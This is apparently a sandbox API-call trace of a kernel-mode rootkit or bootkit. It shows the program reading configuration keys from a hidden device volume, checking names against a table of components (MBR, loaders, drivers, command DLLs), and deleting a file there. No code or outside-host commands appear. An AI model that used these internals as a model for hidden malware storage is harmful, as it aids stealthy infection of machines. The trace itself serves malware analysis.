[0124.289] KeEnterCriticalRegion () [0124.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.289] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.289] KeLeaveCriticalRegion () [0124.289] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.289] KeEnterCriticalRegion () [0124.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.289] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.289] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.289] KeLeaveCriticalRegion () [0124.289] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.289] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.289] KeEnterCriticalRegion () [0124.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.289] ExFreePoolWithTag (P=0xfffffa80038262d0, Tag=0x0) [0124.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.289] KeLeaveCriticalRegion () [0124.289] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.289] ReleaseMutex (hMutex=0xf0) returned 1 [0124.289] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.289] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.289] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.289] KeEnterCriticalRegion () [0124.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.289] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.289] IdePortDispatch () returned 0x103 [0124.289] KeWaitForMutexObject () returned 0x0 [0124.290] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.290] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.290] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.290] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.290] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.290] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef390 [0124.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.290] KeLeaveCriticalRegion () [0124.290] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.290] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.290] KeEnterCriticalRegion () [0124.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.290] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.290] KeLeaveCriticalRegion () [0124.290] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.290] KeEnterCriticalRegion () [0124.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.290] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.290] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.290] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.290] IdePortDispatch () returned 0x103 [0124.290] KeWaitForMutexObject () returned 0x0 [0124.290] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.291] KeLeaveCriticalRegion () [0124.291] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.291] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.291] KeEnterCriticalRegion () [0124.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.291] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800352b000 [0124.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.291] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.291] IdePortDispatch () returned 0x103 [0124.291] KeWaitForMutexObject () returned 0x0 [0124.291] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.291] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.291] IdePortDispatch () returned 0x103 [0124.291] KeWaitForMutexObject () returned 0x0 [0124.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.291] KeLeaveCriticalRegion () [0124.291] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.292] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.292] KeEnterCriticalRegion () [0124.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.292] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.292] KeLeaveCriticalRegion () [0124.292] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.292] KeEnterCriticalRegion () [0124.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.292] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.292] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003befe70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.292] KeLeaveCriticalRegion () [0124.292] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.292] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.292] KeEnterCriticalRegion () [0124.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.292] ExFreePoolWithTag (P=0xfffffa8003bef390, Tag=0x0) [0124.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.292] KeLeaveCriticalRegion () [0124.292] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.292] ReleaseMutex (hMutex=0xf0) returned 1 [0124.292] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.292] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.292] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.292] KeEnterCriticalRegion () [0124.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.293] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.293] IdePortDispatch () returned 0x103 [0124.293] KeWaitForMutexObject () returned 0x0 [0124.293] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.293] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.293] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.293] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.293] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.293] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef990 [0124.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.293] KeLeaveCriticalRegion () [0124.293] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.293] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.293] KeEnterCriticalRegion () [0124.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.293] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.293] KeLeaveCriticalRegion () [0124.293] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.293] KeEnterCriticalRegion () [0124.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.293] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.293] IdePortDispatch () returned 0x103 [0124.293] KeWaitForMutexObject () returned 0x0 [0124.293] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.294] KeLeaveCriticalRegion () [0124.294] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.294] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.294] KeEnterCriticalRegion () [0124.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.294] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800352c000 [0124.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.294] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.294] IdePortDispatch () returned 0x103 [0124.294] KeWaitForMutexObject () returned 0x0 [0124.294] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.294] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.294] IdePortDispatch () returned 0x103 [0124.294] KeWaitForMutexObject () returned 0x0 [0124.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.294] KeLeaveCriticalRegion () [0124.294] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.295] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.295] KeEnterCriticalRegion () [0124.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.295] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.295] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.295] KeLeaveCriticalRegion () [0124.295] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.295] KeEnterCriticalRegion () [0124.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.295] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.295] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.295] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.295] KeLeaveCriticalRegion () [0124.295] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.295] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.295] KeEnterCriticalRegion () [0124.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.295] ExFreePoolWithTag (P=0xfffffa8003bef990, Tag=0x0) [0124.295] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.295] KeLeaveCriticalRegion () [0124.295] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.295] ReleaseMutex (hMutex=0xf0) returned 1 [0124.295] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.295] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.295] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.295] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.295] KeEnterCriticalRegion () [0124.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.295] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.295] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.295] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.295] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.296] IdePortDispatch () returned 0x103 [0124.296] KeWaitForMutexObject () returned 0x0 [0124.296] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.296] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.296] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.296] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.296] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.296] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.296] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.296] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.296] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.296] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.296] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.296] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.296] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.296] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.296] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.296] KeLeaveCriticalRegion () [0124.296] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.296] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.296] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.296] KeEnterCriticalRegion () [0124.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.296] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.296] IdePortDispatch () returned 0x103 [0124.296] KeWaitForMutexObject () returned 0x0 [0124.296] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.297] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.297] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.297] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.297] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.297] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.297] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.297] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.297] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.297] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.297] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.297] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.297] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.297] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.297] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.297] KeLeaveCriticalRegion () [0124.297] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.297] ReleaseMutex (hMutex=0x100) returned 1 [0124.297] Sleep (dwMilliseconds=0x2bf20) [0124.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d48e3d0, dwHighDateTime=0x1d24fa4)) [0124.303] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.303] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.303] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.303] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.303] KeEnterCriticalRegion () [0124.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.303] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.303] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.303] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.303] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.303] IdePortDispatch () returned 0x103 [0124.304] KeWaitForMutexObject () returned 0x0 [0124.304] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.304] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.304] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.304] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.304] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.304] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf03a0 [0124.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.304] KeLeaveCriticalRegion () [0124.304] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.304] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.304] KeEnterCriticalRegion () [0124.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.304] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.304] KeLeaveCriticalRegion () [0124.304] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.304] KeEnterCriticalRegion () [0124.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.304] IoAllocateMdl (in: 